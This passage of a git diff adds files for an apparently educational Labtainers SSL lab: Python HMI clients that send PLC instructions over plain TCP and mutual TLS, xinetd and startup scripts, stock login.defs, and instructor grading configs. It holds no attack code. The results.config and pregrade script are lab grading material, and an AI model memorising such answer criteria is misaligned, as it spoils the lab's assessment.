tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/sbin/faux_init new file mode 100755 index 000000000..e806e03ac --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done + +# PUT any daemon start (that need parameterization after while loop) +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start +/etc/init.d/xinetd start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/certs/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/certs/README.txt new file mode 100644 index 000000000..a3abb920f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/certs/README.txt @@ -0,0 +1 @@ +Certificates for hmi1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/client_ssl b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/client_ssl new file mode 100755 index 000000000..b13aa6bf7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/client_ssl @@ -0,0 +1,42 @@ +#!/usr/bin/env python +''' +Simulate an hmi client interacting with a plc +''' +import socket +import sys +try: + import ssl +except ImportError: + pass +else: + SERVICE_PORT = 10023 + if len(sys.argv) < 3: + print('./client_ssl ') + exit(1) + server_host = sys.argv[1]+'.example.com' + instruction = ' '.join(sys.argv[2:]) + this_host = socket.gethostname() + ''' default ssl context ''' + context = ssl.create_default_context() + ''' certificate chain store for validating the plc's certificate ''' + context.load_verify_locations('certs/ca-chain.cert.pem') + ''' certificate and key for authenticating to the server ''' + context.load_cert_chain(certfile=("certs/%s.cert.pem" % this_host), + keyfile=("private/%s.key.pem" % this_host)) + ''' connect to the plc ''' + try: + conn = context.wrap_socket(socket.socket(socket.AF_INET), server_hostname=server_host) + except ssl.SSLERROR as se: + print('ERROR: %s' % str(se)) + exit(1) + try: + conn.connect((server_host, SERVICE_PORT)) + except socket.error as ss: + print('ERROR: %s' % str(ss)) + exit(1) + cert = conn.getpeercert() + print('Connected to %s' % server_host) + print('Sending instruction %s' % instruction) + conn.sendall('%s\n' % instruction) + print('bye') + conn.close() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/private/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/private/README.txt new file mode 100644 index 000000000..a2ef616ba --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi1/private/README.txt @@ -0,0 +1 @@ +Private keys for hmi1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/.config/wireshark/preferences b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/.config/wireshark/preferences new file mode 100644 index 000000000..508e658ae --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/.config/wireshark/preferences @@ -0,0 +1 @@ +http.ssl.port: 443,10023 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/sbin/faux_init new file mode 100755 index 000000000..e806e03ac --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done + +# PUT any daemon start (that need parameterization after while loop) +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start +/etc/init.d/xinetd start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/certs/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/certs/README.txt new file mode 100644 index 000000000..ae2cac1d4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/certs/README.txt @@ -0,0 +1 @@ +certs for hmi2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/client b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/client new file mode 100755 index 000000000..5b92ae3e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/client @@ -0,0 +1,28 @@ +#!/usr/bin/env python +''' +Simulate an hmi client interacting with a plc +''' +import socket +import sys +try: + import ssl +except ImportError: + pass +else: + SERVICE_PORT = 10023 + if len(sys.argv) < 3: + print('./client ') + exit(1) + server_host = sys.argv[1]+'.example.com' + instruction = ' '.join(sys.argv[2:]) + this_host = socket.gethostname() + conn = socket.socket(socket.AF_INET) + try: + conn.connect((server_host, SERVICE_PORT)) + except socket.error as ss: + print('ERROR: %s' % str(ss)) + exit(1) + print('Sending instruction %s' % instruction) + conn.sendall('%s\n' % instruction) + print('bye') + conn.close() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/client_ssl b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/client_ssl new file mode 100755 index 000000000..b13aa6bf7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/client_ssl @@ -0,0 +1,42 @@ +#!/usr/bin/env python +''' +Simulate an hmi client interacting with a plc +''' +import socket +import sys +try: + import ssl +except ImportError: + pass +else: + SERVICE_PORT = 10023 + if len(sys.argv) < 3: + print('./client_ssl ') + exit(1) + server_host = sys.argv[1]+'.example.com' + instruction = ' '.join(sys.argv[2:]) + this_host = socket.gethostname() + ''' default ssl context ''' + context = ssl.create_default_context() + ''' certificate chain store for validating the plc's certificate ''' + context.load_verify_locations('certs/ca-chain.cert.pem') + ''' certificate and key for authenticating to the server ''' + context.load_cert_chain(certfile=("certs/%s.cert.pem" % this_host), + keyfile=("private/%s.key.pem" % this_host)) + ''' connect to the plc ''' + try: + conn = context.wrap_socket(socket.socket(socket.AF_INET), server_hostname=server_host) + except ssl.SSLERROR as se: + print('ERROR: %s' % str(se)) + exit(1) + try: + conn.connect((server_host, SERVICE_PORT)) + except socket.error as ss: + print('ERROR: %s' % str(ss)) + exit(1) + cert = conn.getpeercert() + print('Connected to %s' % server_host) + print('Sending instruction %s' % instruction) + conn.sendall('%s\n' % instruction) + print('bye') + conn.close() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/private/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/private/README.txt new file mode 100644 index 000000000..6d7e670ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/hmi2/private/README.txt @@ -0,0 +1 @@ +Keys for hmi2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/instr_config/pregrade.sh new file mode 100755 index 000000000..49575a906 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/instr_config/results.config new file mode 100644 index 000000000..08e20fdee --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/instr_config/results.config @@ -0,0 +1,5 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +hmi2_to_plc2 = plc2:server_ssl.stdout : CONTAINS : Connection from hmi2 +hmi1_to_plc2 = plc2:server_ssl.stdout : CONTAINS : Connection from hmi1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/plc1/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is 